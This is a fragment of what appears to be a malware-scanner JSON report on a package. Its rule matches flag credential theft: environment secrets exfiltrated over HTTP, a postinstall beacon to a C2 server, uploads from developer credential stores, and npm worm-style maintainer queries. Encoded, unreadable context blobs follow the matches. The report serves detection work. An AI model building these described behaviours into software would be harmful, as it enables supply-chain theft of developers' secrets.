            "atk": "T1082",
            "conf": 0.9,
            "crit": 3,
            "desc": "Aggregates system data into object",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              37,
              47,
              268,
              332
            ]
          },
          {
            "id": "micro-behaviors/crypto/hash/digest::node-createhash-call",
            "conf": 0.65,
            "crit": 3,
            "desc": "Node.js createHash call",
            "from": [
              {
                "file": 21
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/headers::x-session-id-header-map-entry",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.9,
            "crit": 3,
            "desc": "Configures an X-Session-ID request header",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/file/catalog/service::cloud-saas-service-names",
            "conf": 0.6,
            "crit": 1,
            "desc": "Cloud SaaS service names",
            "from": [
              {
                "file": 3
              },
              {
                "off": 311,
                "file": 6,
                "line": 13
              },
              {
                "off": 2001,
                "file": 7,
                "line": 69
              },
              {
                "off": 14993,
                "file": 12,
                "line": 419
              },
              {
                "file": 13
              },
              {
                "off": 1215,
                "file": 16,
                "line": 40
              }
            ],
            "uses": [
              105
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::request-write-call",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.72,
            "crit": 3,
            "desc": "JavaScript writes HTTP request body",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "objectives/discovery/process/enumerate::ts-proc-pid-walk",
            "atk": "T1057",
            "conf": 0.78,
            "crit": 3,
            "desc": "JavaScript/TypeScript walks /proc PID entries",
            "from": [
              {
                "file": 3
              },
              {
                "off": 13993,
                "file": 12,
                "line": 390
              }
            ],
            "uses": [
              26,
              336
            ]
          },
          {
            "id": "micro-behaviors/data/db/sql::sql-update",
            "conf": 0.5,
            "crit": 3,
            "desc": "SQL UPDATE syntax reference",
            "from": [
              {
                "file": 37
              }
            ]
          },
          {
            "id": "objectives/supply-chain/hidden-payload/worm::npm-maintainer-search-api",
            "atk": "T1195.002",
            "mbc": "F0001",
            "conf": 0.94,
            "crit": 4,
            "desc": "Queries npm maintainer package search",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/traverse::traverse-glob-call",
            "conf": 0.84,
            "crit": 3,
            "desc": "Calls Python glob for file enumeration"
          },
          {
            "id": "micro-behaviors/communications/http/url/domain::js-remote-host-url",
            "conf": 0.75,
            "crit": 3,
            "desc": "Contains a hardcoded remote HTTP(S) URL",
            "from": [
              {
                "file": 5
              }
            ]
          },
          {
            "id": "metadata/build/package/recipe::setuptools-install-class",
            "conf": 0.9,
            "crit": 3,
            "desc": "Class inherits from setuptools.command.install"
          },
          {
            "id": "micro-behaviors/fs/file/read::package-json-path-reference",
            "conf": 0.84,
            "crit": 1,
            "desc": "References a package.json path",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/request/client::http-post-json",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.75,
            "crit": 3,
            "desc": "HTTP POST request with JSON content",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              128,
              361
            ]
          },
          {
            "id": "objectives/exfiltration/stealer/credential/env::python-environ-json-urllib-exfil",
            "atk": "T1552.001,T1041",
            "mbc": "E1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Python sends credential-named environment entries in JSON over urllib",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              43,
              101,
              359
            ]
          },
          {
            "id": "objectives/credential-access/env/dotenv::dotenv-read-secrets",
            "atk": "T1552.001",
            "mbc": "B0014",
            "conf": 0.85,
            "crit": 3,
            "desc": "Dotenv secrets reading",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/wallet/keywords::wallet-token",
            "conf": 0.4,
            "crit": 1,
            "desc": "Wallet keyword",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/client/library::urllib-request",
            "conf": 0.8,
            "crit": 3,
            "desc": "Imports Python urllib.request HTTP client"
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::json-header",
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/filtered-access::js-secret-keyword-list",
            "atk": "T1552.001",
            "conf": 0.96,
            "crit": 3,
            "desc": "JavaScript environment secret-keyword filter",
            "from": [
              {
                "file": 3
              },
              {
                "off": 4401,
                "file": 12,
                "line": 132
              },
              {
                "off": 490,
                "file": 13,
                "line": 23
              }
            ],
            "uses": [
              38,
              259
            ]
          },
          {
            "id": "micro-behaviors/communications/http/header/content-type::python-json-content-type",
            "conf": 0.94,
            "crit": 1,
            "desc": "Python JSON content type"
          },
          {
            "id": "micro-behaviors/communications/http/request/client::node-http",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js built-in http/https module usage",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              192
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::process-env-github-repository",
            "conf": 0.78,
            "crit": 3,
            "desc": "Reads GITHUB_REPOSITORY CI variable",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/config::agent-instructions-md-basename",
            "conf": 0.95,
            "crit": 3,
            "desc": "Agent instructions markdown file name",
            "from": [
              {
                "file": 53
              }
            ]
          },
          {
            "id": "micro-behaviors/process/daemonize/detach::node-handle-unref-text",
            "mbc": "F0011",
            "conf": 0.86,
            "crit": 3,
            "desc": "Detaches a handle with unref()",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/copy::shutil-copy",
            "conf": 0.8,
            "crit": 3,
            "desc": "Python shutil copies a file"
          },
          {
            "id": "metadata/package/testing/presence/harness::spec-test-filename",
            "conf": 0.85,
            "crit": 1,
            "desc": "Spec or test filename markers",
            "from": [
              {
                "file": 8
              }
            ]
          },
          {
            "id": "micro-behaviors/communications/http/response::node-response-data-event",
            "mbc": "C0002",
            "conf": 0.88,
            "crit": 3,
            "desc": "Node response data event handler",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-items-secret-marker",
            "conf": 0.92,
            "crit": 1,
            "desc": "Credential marker string literal"
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::direct-zero-arg-call",
            "conf": 0.86,
            "crit": 3,
            "desc": "Invokes zero-argument function at module scope",
            "from": [
              {
                "file": 13
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/directory/delete::fs-rm-recursive",
            "atk": "T1070.004",
            "mbc": "C0047",
            "conf": 0.8,
            "crit": 3,
            "desc": "Node.js fs.rm with recursive option",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/dependencies/manifest::has-optional-deps",
            "conf": 0.8,
            "crit": 3,
            "desc": "Package has optional dependencies"
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::host-identity-field-pair",
            "conf": 0.88,
            "crit": 3,
            "desc": "Object literal pairs hostname and username keys",
            "from": [
              {
                "file": 3
              }
            ],
            "uses": [
              407,
              494
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/credentials::python-environ-items-credential-filter",
            "conf": 0.92,
            "crit": 3,
            "desc": "Python env items credential filter",
            "from": [
              {
                "file": 12
              }
            ],
            "uses": [
              101,
              160,
              487
            ]
          },
          {
            "id": "micro-behaviors/fs/temp/directory::os-tmpdir",
            "conf": 0.8,
            "crit": 2,
            "desc": "Uses the Node.js system temporary directory",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/source/syntax/schema::hostname-object-key",
            "conf": 0.9,
            "crit": 1,
            "desc": "Object literal declares a hostname key",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/path::shell-executable-reference",
            "conf": 0.9,
            "crit": 3,
            "desc": "References a shell executable",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/link/symlink::node-symlink-sync",
            "conf": 0.85,
            "crit": 3,
            "desc": "Node.js creates symbolic links",
            "from": [
              {
                "file": 32
              }
            ]
          },
          {
            "id": "micro-behaviors/os/env/vars/cicd::multi-ci-provider-env-refs--travis",
            "conf": 0.92,
            "crit": 3,
            "desc": "CI provider environment reference (TRAVIS)",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/loop::js-while-switch-loop",
            "conf": 0.95,
            "crit": 3,
            "desc": "JavaScript while loop contains switch dispatch"
          },
          {
            "id": "micro-behaviors/communications/http/post::request-options-post-method",
            "atk": "T1071.001",
            "mbc": "C0002",
            "conf": 0.86,
            "crit": 1,
            "desc": "Sets POST as an HTTP request method",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-directory",
            "conf": 1.0,
            "crit": 2,
            "desc": "File identified as a test by path or name",
            "from": [
              {
                "file": 8
              },
              {
                "file": 28
              },
              {
                "file": 29
              },
              {
                "file": 34
              },
              {
                "file": 37
              },
              {
                "file": 40
              },
              {
                "file": 41
              },
              {
                "file": 46
              }
            ],
            "uses": [
              297,
              348
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/direct::js-file-write",
            "conf": 1.0,
            "crit": 2,
            "desc": "Writes file via Node.js fs",
            "from": [
              {
                "file": 3
              }
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-generation",
            "conf": 0.72,
            "crit": 3,
            "desc": "Node.js cryptographic random-value generation",
            "from": [
              {
                "file": 3
              },
              {
                "file": 12
              },
              {
                "file": 32
              }
            ],
            "uses": [
              77,
              503
            ]
          },
          {
            "id": "micro-behaviors/os/random/crypto::node-random-bytes",
            "conf": 0.65,
            "crit": 3,
            "desc": "Node.js random byte generation",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/data/llm::non-system-role-marker",
            "conf": 0.72,
            "crit": 1,
            "desc": "LLM developer- or assistant-role value",
            "from": [
              {
                "file": 130
              }
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "from": [
              {
                "file": 1
              }
            ]
          },
          {
            "id": "metadata/package/scripts/develop::has-git-hooks",
            "conf": 0.9,
            "crit": 3,
            "desc": "Package uses git hooks tooling",
            "from": [
              {
                "file": 48
              }
            ]
          },
          {
            "id": "objectives/credential-access/env/secrets/cloud-access::env-google-prefix",
            "atk": "T1552.001",
            "conf": 0.72,
            "crit": 3,
            "desc": "Google credential env access",
            "from": [
              {
                "file": 12
              }
            ]
          },
          {
            "id": "micro-behaviors/process/create/shell/git::git-tag-annotate",
            "conf": 0.82,
            "crit": 3,
            "desc": "Creates annotated git tag",
            "from": [
              {
                "file": 6
              }
            ]
          },
          {
            "id": "micro-behaviors/fs/file/write/redirect::shell-echo-file-write",
            "conf": 0.86,
            "crit": 3,
            "desc": "Shell echo redirects output to file"
          },
          {
            "id": "metadata/package/testing/presence/harness::archive-test-directory-member-path",
            "conf": 0.98,
            "crit": 3,
            "desc": "Archive ships a root-level test tree"
          },
          {
            "id": "objectives/supply-chain/recon-exfil/npm-install-targeting::npm-postinstall-sysinfo-beacon",
            "atk": "T1041",
            "mbc": "E1041",
            "conf": 0.96,
            "crit": 5,
            "desc": "Postinstall hook beacons system info to C2",
            "from": [
              {
                "off": 16839,
                "file": 12,
                "line": 472
              },
              {
                "file": 48
              }
            ],
            "uses": [
              315,
              408
            ],
            "spans": [
              [
                0,
                41
              ]
            ]
          },
          {
            "id": "objectives/supply-chain/recon-exfil/pipeline::package-credential-store-audit-upload",
            "atk": "T1041",
            "mbc": "E1041",
            "conf": 0.99,
            "crit": 5,
            "desc": "Package audits multiple developer credential stores and sends data by HTTP",
            "from": [
              {
                "file": 3
              },
              {
                "off": 13442,
                "file": 12,
                "line": 374
              },
              {
                "off": 3073,
                "file": 32,
                "line": 89
              }
            ],
            "uses": [
              106,
              229
            ],
            "spans": [
              [
                2454,
                61
              ],
              [
                13385,
                13
              ],
              [
                13442,
                12
              ]
            ]
          }
        ]
      },
      {
        "ctx": [
          {
            "b": "cV%GwaAITBx\u003e8lji%{dtAV!%SA+flkx(W=kcUvAEdj/B3A+flkx(W=kcVAHoxEtkWz-@bLADL#owHF{AB0\u0026y/v)a\u003czADL#owHF{oxLzo[uVp47v}x.5cN?a:C42zlwiB(:yhW*7c#Q.Wze:31AWSv/cOxo:d@YJEv}x.5e]UJndlzS(D3:cQzeiV@A-mm3v\u003c\u003e\u003esDVAXcB-ILqC4AZRA=\u003e@wdsCYmByP0hEf$daAV!gwcRnOLC4sYIC$Y$=AaiJwy*}o+xjtZryG:ONoiB2gBZ)j8xjjtefK)TFxgUGBxjC^VCW%((D0jcVzED7lfK)TFzC9@IoiB2gBZ)j8xjjtefK)EoxgUGBxjC^VCW%((D0jcVzED7lfK)EWA8gW%ygn}QDsPxfygzc$CvTi6xhzI[D0jrtf\u003e1fRy!Ecaygzc$CvTi6zC9@IoiB2gBZ)j8xjrU\u003exgUDRxgUGBxjC^VCW%((D0jcVzELy@zC9@IoiB2gBZ)j8xiGgExgUDRxgUGBxjC^VCW%((D0jcVzDZ{LzC9@IoiB2gBZ)j8xjBC3fKWsmxgUGBxjC^VCW%((D0jcVzEVgafKWsUA8gW%ygn}QDsPxfh+uIug*i%QraPb*ydQ@IxhzI[D0jrtf\u003e1fRy!EcaygfRGB6q3[CvLFIyfB.mDp\u0026D#h:.j%A9u%wz^#sgC3cO3DsIjTy*}o+BYZv+oJ0P9n(POxry]Ojiz-TuzCs5tA7JO!D15K7y?2m}BY})XAazsGCs$[RojHH+C3cO3DsIjTy*}o+BYZv+oJ0P9n(POxry]Ojxg^FszCLE{oiB2gBZ)j8xh{S^r8\u003eR*p/Il\u003en(w2xxgUGBxiv=6y*]:=yH]g$xK\u003cRkBZ/hFgFp8KizrvHh=J\u003cFfKWsaD0aiayHP4Mz+B1^fK=+ifK[%oBY%66Dqnf\u0026BZ)gKA9j}@z+T}\u0026g!Q}9xhr.\u003cygn}QDsPxfsw\u0026c\u003enMmx7oJT2Iq=DaIxhzI[CvLFIyfB.mDq5fRB.2hzrz(?ww(qR^mo8=pn(PR7xgUTsi7VFFz!8ypCvL@qC1:X\u0026y*][nBxR^AD1x]ixK:LFByFriBZXxIC4kkzygn}LC4ttRC4s9zB6qT1y?c7eha\u0026gooiB2gBZ)j8xi3Y!lSlAlp/x8eoJ1]bxgUGBxjBF8C3cO3DsIjTy*}o+BYH}io\u0026%bBn(vu2w(yx:t1I7Exj:XUx8",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "q=CFrw(SRosv\u003e[miz-TuzE=*aB75c8AazEtyF5\u003erfg!PGBY@S#BZXxIhaZhOxjBC3D1eQgn[8Wnz=x.asY^yBq=CFrw(SRosv(5di7VFECs)d8xh8t\u003eA8gW%ygn}QDsPxfs5J6\u003elSt^nmOb%kxgUDRxhzI)xH#q)D15K7y?2m}BY}\u003c7ge8HJoJ0P9mn^bTr-jl+og9L\u003eC4bt:fIa-ar8DWRqc3W?o\u0026C4!w(yx:t39HClrlJ/xhzI[CvLFIyfB.mDq5fRB.2hzq=LIvw(Rr3lSuG\u003cl%8c+mPSRJqbHv(nKEhTxj:XUxjBC3fKWsaABHXtBXtg:w)dYvD17RWBxRQ!xg:%Df\u003cevrA9mDzCuO64zC9@Iog9L\u003eC4bt:fIa=VC3oeSiy#XZwkvz*zdDZ9ygG?JC4beLo?N#hDrLPfxjVuPB7c[mBZ)%yDsofOByN7oA8g:CA9u%wz=QTOq=dr\u003cr8MUgxiu#IBZ)f!B6qH1B7c[mz^(*zzC9@Ixj+1VoiMjlBY*H#AagNVxiE/aygzc$CvTcqz!0SABxRZixK-?[gH-djyFde#BY*H)hdGfPy*6n9xK\u003cR4A7JPwog.GqfK]0oxjVp9xgUDRxjj\u003eAxg\u003ePYy*}lRD1y8AfJ}KQmoJ.\u003cxH$:ti7VRvBY*H)hdGfPy*6n9xK\u003cR4BZ^\u003cwBY{O0z+iuvxh9U!xjC^VfL1oTBXb7Xf\u003e9T%h:.pBxgUDRog.GpxgUP*C4bt:fIa/4D0joMAaIy5iy#.wBY*H)hdGfPy*6n9xK\u003cR4BZ)gKA9j}@z+SPyxh9U!B.105raFJ(AaiV]z+q/^fJ@j7zC9@Iog.GpxgUQfzaN9dCvLF\u003czdcKVxgV5Riy#OGgeg.lzB)h#zaNn+D0joMAaIy5xI.UZxg:%.CUIaDA7JPwog.GpxgUDRxjC^VfL1oTBXb87BY*H)hdGfPy*6n9xK\u003cR4B.105raFJ(AaiV]z+q/^fJ@j7zC9@Iog.GpxgUSFog.GpxgUycxgUDRxiu#IBZ)j8xjBC3DsF:wC4kw^xhzI)zEVgqxKU\u003cWfK]xrh:.pBxgUDSygn}QDsPxfDrBr]fIaU^xhJLEzcy^SC$-6UD15J.z+q/XxKTIghdFyhB7vTFA8gW@xgUDRxiu#IBZ)j8xjj[uy?4rKfKX3yBZ]X.iy#Rch:.pBxgUDSygn}QDsPxfA-#NYB6qT4xhzI)CUS0{og.GpxgUycxgUDRxiu#IBZ)j8xjiL@haZg\u0026xiv2.hdGfPC1=^ux\u003c\u0026+{zb1?whdyz%z^#pbDsF:wC4kw^B4F[$xKTIfB4F(rfJ}NJxK\u003cRHC4bt-B4F(zy?lW)y*}a5xg:%Pz={4dzC9@Iog.GpxgUycxgUDRxiu#IBZ)j8xjj[BxhzI[y*}lRD1y8AfJ}KQmoJ.\u003cxIrqsB75cBy!Ee\u003cB4F+*f?UF!og.GpxgUP*C4bt:fIa=fAaqyKy?4uXy?ldmxhzI[y*}lRD1y8AfJ}KQmoJ.\u003cxIrqsB75cBy!Ee+f?UF!og.GpxgUycxgUDRxiu#IBZ)j8xiE/ayggjhz^3mmxhzI[ygzc$CvTi6BY*H)y/%\u003ery/i=7yggjhz^3mnAaAV}zDQ4wDq4pbC#3^ZyftyFzCiz:A-#NXB4F(rgd$O/og.GpxgUQry?b[1yG:!mD1y8AfJ}KPxhzI[yG:!mAaqyKy?4fpf\u003eiZKxK\u003cRkz=[\u0026iCvs0xD1oACg?n%?h:.pBxgUDSyG:!mD1y8AfJ}KPxhzI[lU6n4zcy4kBY*EWBY*E?fIs(SyG:!mD1y8AfJ}KPB4F(1y/@JfCvs0xC$-6UAaiVNB4X(pwj])yog.GpxgUycxgUDRxiu#IBZ)j8xjBC3yG:kABY{Fzy*}l(fKWsmiy#.sy/@L^hdGfPy*6qIyG:!mD1y8AfJ}KPBZ^\u003cwBY{O0z+iqIxh8zXh:.pBxgUDSA9u%wz^#pbyG:kABY{Fzy*}l(fKWsmi8AKtCUR%szaXIeCuF0ByHHp4zD6bbBY{O0z+itNxh7:exjVp9xgUDRxgUDSyG:!mD1y8AfJ}KPxhzI[yG:!mD1y8AfJ}KPBZ)gKA9j}@z+SPyxiE/aygzc$CvTiAyFnO\u0026y*}l(fKWsmBv/1\u0026xJ^]7AaiV{o\u003cgQQzE=mIA8gW@xgUDRxj+1VxgUDRxg3x0xgUDSD0jrFf\u003ek5SxiE/aygzc$CvTiAyFnRzC2Zs@D0%=izC9ucf\u003er^Sg!J4eh:.pBxj+7eyfsUpygfE}z^37PxjVp9xgUDRxjC^VfL1oTBXb7\u0026vP(o5ygzc$CvTiWC4bnFzco}RB6qTxhC3nlh^fcqBxR^wDrBrWy?uZ5xhr.\u0026xgUSFoj?4toiMjlBY*H#AagNVxiFzJfK[@?ygG+dz!0SABxRZixK-?[gH-djyH.T6B7c[nAaiPXxK\u003cR5qcv10z+B1}h:.pBxiu#IBZ)j8xjBC3DsF:wC4kw!DpZHUxic/wh:.pBxg3x0xiu#IBZ)j8xjKIkByN:qx?pYDxjBC3fKWsaABHXtBXtj+Dq5iOByN*sAarP{A7\u0026R=xiv06D15J-y/\u0026DqC3lUqBYZy%xK\u003cR5w\u003eCQomoJ.\u003cy!OX6C4t(hAaS3ayGUHuA8gW@xgUycxgUS(D1x]vh:.pBxgUDSzdv\u0026Gygn$=hbXpcB6qQthdyz%z^(i%zEDQ7moJ.\u003cxJmL(fKWs)xjKIkByN:qx?IADog.GpxgUycxgUDRxiu#IBZ)j8xjC^VDsQ94fIaU^xiFzJy/@F/hdyz%z=]RaCW:fVfJ}BIxgV/nh!kAVByN:qx\u003eypnxgV]mmPq/Sl@(VwC4kx9zEDQ7w[k1oB4!}/f\u003eh$tD17RWBxRZ9gfEX6f\u003cmI1xjBC3DsF:wC4kw!w[k:FB7wuLxhSLrp/HvWB7c[nAaiYVx?pY:d[?Y@y?dluB.1M#B4F]Ei7VRvygfQ(xgV/fxg$QfxgUDRxgUDSh+uIuBY*EWyHHp4zCK$jzDQ\u003cTzcy^SC$Jvaxjs}ig/nc\u003ezcy^SC#5cuf?\u003e23Ay\u0026L!Cth*Hxg(@8CUHN$fIB\u00262fKX3qy*]h3fI=yGCUHN(CtgB\u003eiyvHDxgUDRA8gW@xgUDRxg3x0xgUDSA9u%wz+j56y?2n4B7vT8ia+JAD0jrBf\u003e9WJBZ^\u003cwBY{O0z+itJiz-TuCs$\u003e3h:.pBxgUDRxgUP%Dq5iSBZ^\u003cSBZW11hdyz%z!8vsByN:qx?IADog.GpxgUDRxjC^VfL1oTBXba\u003cxK-?[gH-djyH.Wiog.GpxgUSFog.GpxgUycxgUDRxiu#IBZ)j8xjswEBY})wxhzI[D0jrBf\u003e9WJB.105raFJ(AaiV]z+q/^fJ@j7zC9[=fK[%oBw1#pBZ)i]B75fFz+q:eBXl{{h:.pBxgUDRog.GpxgUP%C4kkLz=[?QBZ)j8xjswEBY}ZgC3nPDB75ccy?4:axjVp9xgUDRxgUDSygn}QDsPxfCuF3ufK]w]iy#.=AaiV:BZ)i]B75fFz+q*fzC9@Iog.GpxgUDRxjj\u003eAxg\u003e=ZxK+{TDq5g2y*}l(fKWsmd]oegDp}g6h:.pBxgUDRxgUDRxiu#IBZ)j8xjLapB4F+NxjBC3D1oDvvOGrCh:.pBxgUDRxgUDRxiu#IBZ)j8xjLaty?4rtxKU4yxhzI[CuF3ufK(?UCVW{^og.GpxgUDRxgUDSygn}QDsPxfy*}lRD1y8AfJ}KQqcv0@DpZHUxhJLEzcy^SC$-6UD15J.z^#pbD1oDvvOHU)B4F-fx\u003c\u003e72xK+{}zC9@Iog.GpxgUDRxgUDRog.GpxgUDRxgUDSygn}QDsPxfyG:!mD1y8AfJ}KQqcv0@DpZHUxiE/aygzc$CvTcqz!0SABxRZixK-?[gH-djyFde#BY*H)hdGfPy*6p{xK-?)A8gW@xgUDRxgUDRxgUycxgUDRxgUDRxgUQfzaN9dyG:!mD1y8AfJ}KQqcv0@DpZFbzaNk}y/@L^hdGfPy*6p{xK-?)xgV5Riy#OGvP(o5ygzc$CvTiWC4bnFzco}RB6qTxzC9[{h:.pBxgUDRxgUDRxgUDSCuF3yDsO=\u003eD0i:kBZ)%yDsofOh:.pBxgUDRxgUDRxgUDRxgUS{D16fWxjLapB4*EDf\u003cex?fK[%oBY%66Ct7v\u0026C$*W)A7\u0026MoxgUDRxgUDRxgUDRxgUDSf\u003eh$tD17RWBxRTZxjLaty?4rtxKU4yBZ)jdx\u003e5}%D0%=izC9w-B4F+*CtgCuB3\u003cUcxgUDRxgUDRxgUDRxgUSXxK-?[gH-djyFOUhyG:!mD1y8AfJ}KQqcv0@Dq3RyxgUDRxgUDRxgUDRxgUDSDswWhD08[5hC3nDygfU9C4aJNw[1m\u003czEDQ7w)dX]fJ?s:og.GpxgUDRxgUDRxgUSFA8gW@xgUDRxgUDRxgUSFog.GpxgUDRxj+1VxgUDRxj+1VxgUDRxg3x0xj+7eyfsUpygfE}z^37PxjVp9xgUSFxiGd*BY?^\u003cB7Foph:.pBxgUDSfK]0oxjVuPzdv\u0026Gf\u003eb0AAaiWaraPb*yd?8}y*{HkmoKtuh+uK]xiu#VfJ*ezxjS\u003eMog.GqiyvHDxg3x0xjC^VfL1oTBXba\u003cxK-?[gH-djyH.Wioj?4toiMjlBY*H#AagNVxjjq1D1p+)DsPxQA7JPwog.Gqygn}QDsPxfDrKxcDso]NAaA/^qcv10fJ}NJBZ]X.iy#XYog.GpxgUDJrA7U]mPs7ZA7\u0026R+C2Zj%l@!26rzke-B4F.VoJ1]bC41r[xg$3Dlrb:nsx41EmnbELB4F.Vl@!26mn^byrz#)!o?WrTB3\u003cUcxgUDRC35JHsxd7nC41r[xg$3qlrv#7q=lTQC41r[xg$3qnkR9dw\u003eT%}B4F.VwL$ixp/n#(mP:{@A7\u0026MoxgUDRxg$3qpGo?rw\u003eT%}B4F.VwL$i#rz#v/lS!Q]A7\u0026R+C35J\u003cn(!x9lq.LUC41r[xg$3qmn$%ooJ1[-w\u003eT%}B3\u003cUcxgUDRC35JTlrlJAlS3(VmOCNMB4F.VwL$@?w\u003eT%}B4F.VwMrIDmn)kYC41r[xg$3qpe\u0026]8nk%\u003c{A7\u0026MoxgUDRxg$3qr8#EXn(XqWC41r[xg$3qr8MZNrAi\u003cJC41r[xg$3qr8=pQl@Ov\u003eA7\u0026R+C35JTlrlJAmn$%JC41r[og.GpxgUDJwMpAApF\u003ed:C41r[xg$3ql@U\u003crmO$\u003c1s4\u003ew+B4F.VwMpAwt2PYbA7\u0026MoxgUDRxg$3qs5A10o\u0026:.yC41r[xg$3ql@U\u0026$r901zw\u003eT%}B4F.VwMiC9peL1?w\u003eT%}B3\u003cUcxgUDRC35MEr-zK?pe+gMC41r[xg$3qrz)S[s5A0\u003cw\u003eT%}B4F.VwMzl6mP.xyp/x5GpFrJVB3\u003cUcxgUDRC35M:mPBk0mPq\u0026pC41r[xg$3qpF$j\u003eo\u0026C4}t3c5gA7\u0026R+C35J[mPBj:oJCgNC41r[og.GpxgUDJwL\u003ec$q=bk[mOCNMB4F.VwMzn)lrm(rr7]5.B4F.VwL)nAn(OkSoJa$\u0026mOCNMB3\u003cUcxgUDRC35MUsw@jAn(NJ8C41r[xg$3qr8MZNmn+\u003cjn(wbrC41r[xg$3qpeL2co\u0026rYDpGR)5A7\u0026MoxgUDRxg$3qpF$k7q=lRun(o\u003c]A7\u0026R+C35MElq/Hrq=l7=rAA9VA7\u0026R+C35Juqb]qXmPsetmOCNMB3\u003cUcxgUDRC35MQr-INTlS3(VmOCNMB4F.VwM0qWq=lQ/lrbZtC41r[xg$3qqb/$NpF$j\u003er8Ctso\u0026s[IA7\u0026MoxgUDRxg$3qp/P}+pF\u003ebcC41r[xg$3qlr4=0nMxK^qbZE?C41r[xg$3ql@U\u003cNmPBk7C41r[og.GpxgUDJwMqh(n(/Z%rz(:QA7\u0026R+C35MQn(vu2n(POoC41r[xg$3qmPsd#q=^0^rz#)TpFrJVB3\u003cUcxgUDRC35MQr8VmCC41r[xg$3qnl58?w\u003eT%}B3\u003cUcxgUDRC2o}NpGh3+AAa.\u003eq=uWNnk7^OB4F.Vmo82#C41r[xg$0#mnW?{C41r[og.Gqwkvz/og.Gqygn}QDsPxfygz9YyG:^%fKX3LB7oFYiy#+-izT\u003cqxgUP%C4kkLz=[?QBZ)j8xic\u003cfB4F]awjYoKzaNeRx\u003c\u003e\u003cVygGW?y*}oWD0%=PDp{^}D15K7y?2m}BY}\u003c7gd$LYxjVp9xgUDRxjj\u003eAxg\u003e=\u003cy*}oSAazEPgfNZBxK\u003cUiy?4rtDq5iKC4aJMz^#d2iz:ARCt8)Ly?2m#z^^{bA7:a@ygz9YyG:^%fKX3LB7l}DA-=maiy#+Ah:.pBxj+1Vog.Gqygn}QDsPxfzdtp}y/@L^y?c7hxhzI[h!D3gog.Gqygn}QDsPxfz^\u003eERy!m2GxjrU\u003eBZW^2BxR:zAarP{A8gW@og.GqzdDZ9ygG?JC4beLzEWJMx?H%vxJYgMB4!}/zdcH\u003cy?2$8fKWs:xjVp9xgUDRxjKL9haZtWog.GpxgUDRxjj\u003eAxg\u003e-#Dq5fRg*%GYfK(?jhdyz%z^40]B6qWjxK\u003cRCA7:a@h:.pBxgUDRxgUDRxiGgFr9Au#D0jrFDrh\u003eDxJYgMB68vbiy#.ADq5iGy/%?qm}2Fzy/JocBY\u003c06zdcH\u003cy?2$8fKWs)xg:%XfJ@j7zC9@Iog.GpxgUDRxgUDSD0jrFf\u003ek5SxjKL9f\u003cmK$og.GpxgUDRxj+1VxgUDRxj+7eyfsUpygfE@h!C{9xgUDRxjC^VfL1oTBXb8bxKTIcy!]m[xgUSFog9zVxiGgNBY*H#AagNVxiE8-xJYaGAarP}B6hNpy*]+QxiE/wD1fulfKWs)xiGd*B7v^wC$R75h:.pBxgUDSfK]0oxjVp9xgUDRxgUDSA9u%wz+j2lDq5fRg*%GYfK(?jhdyz%z^2UED1fulfKWs:A7JO)y?c7qD17Jfog.GpxgUDRxiu#IBZ)j8xiGd*B6qWuxhzI[zdv\u0026GD0josyG:kAC#VUpBY\u003c06yHHsqCuF3Cz+B1^zdcH\u003cfJ}NIz^40]B7v^wC$yLKi7VFIz+B1{iz:ARfK]03y!EYxh:.pBxgUDRxgUQfzaN9dzdcH\u003cy?4-FB6qT5zE=mIxhzLYiy#R8A7JO)y?c7qD17Jfog.GpxgUDRxiGgFr9Au#D0jrFDrh\u003eDxJYgMB68vbiy#.AAahsrDq5fgxK:zyzaNbHd[JoMog.GpxgUDRxgUDSfK]0oxjVuPD0jrFf\u003ek5SxjVuPBY?^2y![+iza)q-ygn}QfJ}KnfI=yHzdv\u0026GD0josyF]1=B6qQthdyz%z^#pbfKWsaABHXtBXtk5Aar=LxK\u003cR